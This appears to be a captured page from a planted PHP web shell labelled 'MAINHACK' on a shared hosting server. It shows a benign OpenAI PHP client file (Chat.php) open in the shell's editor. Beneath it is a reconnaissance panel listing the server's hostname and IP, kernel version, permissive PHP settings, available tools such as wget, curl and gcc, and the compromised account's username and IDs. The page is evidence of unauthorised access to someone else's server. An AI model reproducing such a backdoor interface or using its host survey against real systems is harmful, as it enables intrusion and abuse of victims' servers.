[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Chat.php
<?php declare(strict_types=1); namespace OpenAI\Resources; use OpenAI\Contracts\Resources\ChatContract; use OpenAI\Responses\Chat\CreateResponse; use OpenAI\Responses\Chat\CreateStreamedResponse; use OpenAI\Responses\StreamResponse; use OpenAI\ValueObjects\Transporter\Payload; final class Chat implements ChatContract { use Concerns\Transportable; use Concerns\Streamable; /** * Creates a completion for the chat message * * @see https://platform.openai.com/docs/api-reference/chat/create * * @param array<string, mixed> $parameters */ public function create(array $parameters): CreateResponse { $this->ensureNotStreamed($parameters); $payload = Payload::create('chat/completions', $parameters); /** @var array{id: string, object: string, created: int, model: string, choices: array<int, array{index: int, message: array{role: string, content: ?string, function_call: ?array{name: string, arguments: string}}, finish_reason: string|null}>, usage: array{prompt_tokens: int, completion_tokens: int|null, total_tokens: int}} $result */ $result = $this->transporter->requestObject($payload); return CreateResponse::from($result); } /** * Creates a streamed completion for the chat message * * @see https://platform.openai.com/docs/api-reference/chat/create * * @param array<string, mixed> $parameters * @return StreamResponse<CreateStreamedResponse> */ public function createStreamed(array $parameters): StreamResponse { $parameters = $this->setStreamParameter($parameters); $payload = Payload::create('chat/completions', $parameters); $response = $this->transporter->requestStream($payload); return new StreamResponse(CreateStreamedResponse::class, $response); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285